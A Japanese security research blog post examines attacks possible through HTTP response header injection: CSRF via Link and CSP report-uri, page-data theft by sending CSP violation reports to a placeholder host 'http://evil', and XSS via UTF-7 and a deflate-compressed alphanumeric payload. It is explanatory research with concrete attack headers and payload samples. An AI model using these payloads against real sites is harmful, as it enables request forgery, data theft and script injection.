HTTPヘッダについての調査(2/?)

前回の続きのエントリ。前提条件は前と同じ。

CSRF (Refresh, Link, Content-Security-Policy)

ヘッダが入るページを起点として、同じオリジンの他のページにCSRFできないか?という文脈の話。トークンで対策しているなら攻撃の可能性は無いが、SameSiteのCookieや、Referer/Originなどの要求ヘッダを使い対策している場合には、可能性が出てくる。

以下はLinkヘッダを入れた例。

Link: </target.cgi?a=1&b=2>; rel=preload; as=script; crossorigin

ChromeSafariでは上のヘッダにより、下の3条件を満たす要求をtarget.cgiに送れる。

  • SameSite=Strictを含むCookie付き
  • Referer付き
  • Origin付き

問題はLinkRefreshではGETの要求しか送れないことだが、下のようにCSPの違反レポートを使えばPOSTで送れないこともない。

Content-Security-Policy-Report-Only: script-src 'none'; report-uri /target.cgi?a=1&b=2
Link: </>; rel=preload; as=script  ← CSPの違反を引き起こすため

要求ボディがapplication/csp-reportJSONではあるものの、Chromeでは上の3条件を満たすPOSTの要求をreport-uriに送れる*1。POSTでありさえすればよくて、パラメータがクエリストリングにあるかボディにあるかを気にしないアプリが相手ならば、この要求を受け入れるかもしれない。

Policy (Content-Security-Policyなど)

ヘッダでページにPolicyを課す方法はいくつかある。代表的なものはCSPであるが、最近は数が増えてDocument-Policy, Permissions-Policy, Referrer-Policy, Feature-Policyなどもある。ここでは、CSPを使ってヘッダが付いたページの機密性や完全性に影響を及ぼせないか考えてみる。

まずは機密性、つまりCookieSameSite=Laxの時に、CSPを使いボディを窃取する攻撃について考える*2。攻撃としては、都合の良いCSPルールをヘッダに入れて、攻撃者のサーバに違反レポートを送ってレポートに含まれる情報を取る、という流れになる。

下が簡単なCSPの例。

Content-Security-Policy-Report-Only: default-src 'none' 'report-sample'; report-uri http://evil

CSPでブロックされたURLは、レポートに"blocked-uri": "http://example.jp/x/y?a=1111"のように出る*3

また、ChromeFirefoxがサポートしているreport-sampleを使うと、違反したJS/CSSの中身がレポートに出る。例えば"script-sample": "var secret = 1234"のような感じ。ただ、出力されるのは先頭40字までなので、それを超える部分が欲しければCSPのhashで当てていくしかない。

このようにCSPのレポートを情報収集に使えるが、得られるのはCSPの制約が及ぶ範囲、つまりURLとインラインのJS/CSSの情報のみ*4

次に完全性について。CSPのhashを使うと、選択的にインラインのJSを生かしたり殺したりできる。下の例ではonclickによる入力チェックをCSPで無効化すると、hrefでJSを動かせる。

<a href="javascript:..." onclick="return !!this.href.match(/^https?:/)">link</a>

インラインのJSだけでなく、外部のJSをscript-srcを使ってファイル単位で潰したり、JSの特定の機能の使用をsandboxで禁止したりして、JSプログラムの実行フローにある程度影響を与えることも考えられる*5。しかし、いずれにしてもXSSにつなげられるような都合の良いプログラム構造を持っているページは稀だろう。

[×] 完全性チェック (Link, Content-MD5, Digestなど)

Linkヘッダを入れて、同じオリジンの別のページの内容をSRI(Sub Resource Integrity)で推測する手も考えられる。

Link: </anotherPage.cgi>; rel=preload; as=script; integrity=sha256-(hash)

ページとサブリソースが同じオリジンならば、サブリソース側にCORSヘッダが無くても完全性チェックが働くし、SameSiteのCookieもサブリソースに送られる。

完全性チェックの結果からは、リソースの中身に関する1bitの情報が得られる。問題はその1bitを攻撃者が入手できるか。少し考えてみたが、SRI自体にはレポーティングの仕組みは無いので、他のヘッダとの組合せやサイドチャネル攻撃などのトリッキーなことをしないと入手できず、やれる状況はかなり限られると思われる。SRIにもレポーティングの仕組みを作ろうという議論は一応あるので、もしそれが実装されたらSRIで情報収集できるかもしれない。

CSPには完全性チェック(hash)を行い、結果をレポーティングする仕組みがある。しかし前述のようにインラインのJS/CSSのみが対象になる。CSP Level 3からは外部のリソースにもhashが使えるけれども、SRIのintegrity属性値との整合をチェックするだけなので、任意のサブリソースのハッシュを突き止めるような用途には使えない*6

他にも完全性に関連するものでは、Content-MD5, Digest, Integrityなどのヘッダもある。これらは、サブリソースではなくメインのリソースの完全性チェックを行うためのものだが、現状は動作しないようだ。

ボディのエンコード (Content-Type, Content-Encoding)

Mediaタイプがいじれるなら、下記のようにHTMLにして、さらに必要ならUTF-7にする。

Content-Type: text/html; charset=UTF-7

UTF-7IE限定。IEで、ボディもある程度操作できるならば、XSSできることが多いだろう。IE以外については、ブラウザがサポートする文字コードが昔に比べて減ったため、候補はISO-2022-JPくらいしか無さそうで、XSSに持ち込める状況は限られるだろう。

次はContent-Encodingとの合せ技でのXSS。対象がJSONPであり、ボディ先頭のコールバック関数名(英数文字列)を自由に決められると想定する。

下の例では、Mediaをtext/htmlにし、圧縮をdeflateにした上で、英数になるよう圧縮したXSSペイロードをコールバック関数名の箇所に入れている。

Content-Type: text/html
Content-Encoding: deflate

D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt3swWptDDDtwGt0www03stDwttDG333333swwG03333gFPacKevmMumYyQYuECSNkUMymkAmCUeUMn1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXAoooo...(省略)...oooo888888888888888880pr05({"test":"1234"})

ボディをinflateすると<svg onload=alert(window.origin)>...になる。

見てのとおり、上の攻撃はRosetta Flashの変形版みたいなもので、圧縮された英数文字列はRosettaのコードを少しいじれば作れる。

なお、通常は元々の応答にContent-Typeが含まれているので、インジェクトにより複数の同名のヘッダができるかもしれない。その場合、IEは最初、他のブラウザは最後のものを使用する。

[×] Base URL (Content-Location, Content-Base)

もしヘッダでBase URLを変えられるならば、下のように相対URLを使うページでXSSできる。

<script src="/js/jquery.js">

昔のHTTP仕様(RFC2068, RFC2616)では、Content-Location(またはContent-Base)ヘッダでBase URLを指定できることになっていた。しかし、時とともに仕様は変化して、今のRFC7231では両ヘッダともその機能を失っている*7

今回調査でも試してみたが、やはり最新のブラウザではこれらのヘッダでBase URLを指定することはできなかった。これらが効くのはMHTMLの内側のヘッダ(HTTPボディ内)だけのようだ。

ちなみにCSPのbase-uriにより、元のHTMLにあるbaseタグを無効にはできるが、任意の値にセットすることはできない。


残りの分はまた別途記事にしたい。

*1:report-uriはdeprecatedであるが、新しいreport-toとは違ってpreflight無しで要求を送れるという性質がある。

*2:もしCookieのSameSiteがNoneであるならば、前回記事のfetch/XHRで中身を取ればよい。

*3:CSPの仕様により、リダイレクト後の別オリジンのURLの取得には制限がある。

*4:正確には、report-sampleが有効ならば、(外部のJS内で実行されたものを含めて)evalされた内容の先頭40文字もレポートされる。

*5:Feature-Policy, Permissions-Policyでも、JSの特定の機能を制限できる。

*6:integrity属性の値を突き止める用途には使える。

*7:Content-Locationの仕様の変遷はStack Overflowが分かりやすい。